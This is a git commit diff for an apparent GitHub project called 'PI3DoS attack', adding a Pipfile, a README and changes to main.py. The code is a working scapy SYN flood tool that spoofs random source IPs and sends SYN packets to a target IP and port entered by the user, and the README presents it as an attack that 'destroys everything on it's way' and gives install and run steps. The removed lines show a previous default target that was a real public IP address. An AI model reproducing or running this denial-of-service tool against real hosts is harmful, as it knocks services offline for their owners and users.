add readme

Pipfile

@@ -0,0 +1,12 @@
+[[source]]
+name = "pypi"
+url = "https://pypi.org/simple"
+verify_ssl = true
+
+[dev-packages]
+
+[packages]
+scapy = "*"
+
+[requires]
+python_version = "3.7"

README.md

@@ -1,9 +1,35 @@
-# PI3Dos attack
+# PI3DoS attack
 
 ## Description
+
 This attack destroys everything on it's way.
 
-PI3Dos attack stands for
-  - **PI** -
+PI3DoS attack stands for
+  - **PI** - TCP packet configuration is based on the first 100_000 numbers of the [Pi](https://en.wikipedia.org/wiki/Pi)
   - **3** - TCP's 3-way handshake
-  - **Dos** - Denial Of Service
+  - **DoS** - Denial Of Service
+
+This DoS attack is an implementation of the **SYN Flood Attack**.
+Here is a diagram of how it works ![syn flood diagram](https://www.cloudflare.com/img/learning/ddos/syn-flood-ddos-attack/syn-flood-attack-ddos-attack-diagram-2.png)
+For more info visit [syn flood ddos attack](https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/)
+First 100_000 numbers of the PI are received from the [PI.txt file](https://github.com/artemgurzhii/Pi3DOS-attack/blob/master/PI.txt)
+
+## Prerequisites
+
+You will need the following things properly installed on your computer.
+
+* [Git](https://git-scm.com/)
+* [Python](https://www.python.org/)
+* [Pipenv](https://github.com/pypa/pipenv#installation)
+
+## Installation
+
+* `git clone https://github.com/artemgurzhii/Pi3DOS-attack` this repository
+* `cd Pi3DOS-attack`
+* `pipenv install`
+* `sudo python3 main.py`
+
+## Acknowledgments
+
+[Artiikk](https://github.com/Artiikk)
+[sawezx](https://github.com/sawezx)

main.py

@@ -1,12 +1,41 @@
-import os
-import sys
-from random import *
+from os import system
+from sys import stdout
+from random import choice
+from random import getrandbits
 from ipaddress import IPv4Address
-from scapy.all import *
+from scapy.all import IP, TCP, send
 
-DEFAULT_IP = "45.77.143.9"
+DEFAULT_IP = "127.0.0.1"
 DEFAULT_PORT = 80
 DEFAULT_PACKETS_AMOUT = 10
+FILE_SIZE = 100_000
+
+class Memoize:
+	def __init__(self, fn):
+		self.fn = fn
+		self.memo = {}
+
+	def __call__(self, *args):
+		if args not in self.memo:
+			self.memo[args] = self.fn(*args)
+
+		return self.memo[args]
+
+@Memoize
+def readFile(path):
+	file = open(path, "r")
+
+	skipSize = choice(range(0, FILE_SIZE))
+
+	file.read(skipSize)
+
+	return file
+
+def getRand():
+	text = readFile("PI.txt")
+	size = choice(range(3, 6))
+
+	return int(text.read(size))
 
 def randomIP():
 	bits = getrandbits(32) # generates an integer with 32 random bits
@@ -22,51 +51,39 @@ def configureIP(ip):
 	return IP_Packet
 
 def configureTCPPacket(port):
-	s_port = randint(1000, 9000)
-	s_eq = randint(1000, 9000)
-	w_indow = randint(1000, 9000)
-
 	TCP_Packet = TCP()
-	TCP_Packet.sport = s_port
 	TCP_Packet.dport = port
-	TCP_Packet.flags = "S"
-	TCP_Packet.seq = s_eq
-	TCP_Packet.window = w_indow
+	TCP_Packet.flags = "S" # SYN
+	TCP_Packet.seq = getRand()
+	TCP_Packet.sport = getRand()
+	TCP_Packet.window = getRand()
 
 	return TCP_Packet
 
-def SYN_Flood(IP_Packet, TCP_Packet, counter):
+def SYNFlood(IP_Packet, TCP_Packet, counter):
 	print("Packets are sending ...")
 
 	for x in range(0, counter):
 		send(IP_Packet / TCP_Packet, verbose=False)
 
-	sys.stdout.write("\nTotal packets sent: %i\n" % counter)
-
-
-def info():
-	print("#############################")
-	print("#  github.com/artemgurzhii  #")
-	print("#############################")
-	print("# Welcome to SYN Flood Tool #")
-	print("#############################")
+	stdout.write("\nTotal packets sent: %i\n" % counter)
 
 def params():
-	destIP = input("Target IP : ") or DEFAULT_IP
-	destPort = input("Target Port : ") or DEFAULT_PORT
-	counter = input("How many packets do you want to send : ") or DEFAULT_PACKETS_AMOUT
+	destIP = input("Target IP (default: %s): " % DEFAULT_IP) or DEFAULT_IP
+	destPort = input("Target Port (default: %s): " % DEFAULT_PORT) or DEFAULT_PORT
+	counter = input("How many packets do you want to send (default %s): " % DEFAULT_PACKETS_AMOUT) or DEFAULT_PACKETS_AMOUT
 
 	return destIP, int(destPort), int(counter)
 
 
 def main():
-	info()
+	system('clear')
 
 	destIP, destPort, counter = params()
 
 	ip = configureIP(destIP)
 	tcp = configureTCPPacket(destPort)
 
-	SYN_Flood(ip, tcp, counter)
+	SYNFlood(ip, tcp, counter)
 
 main()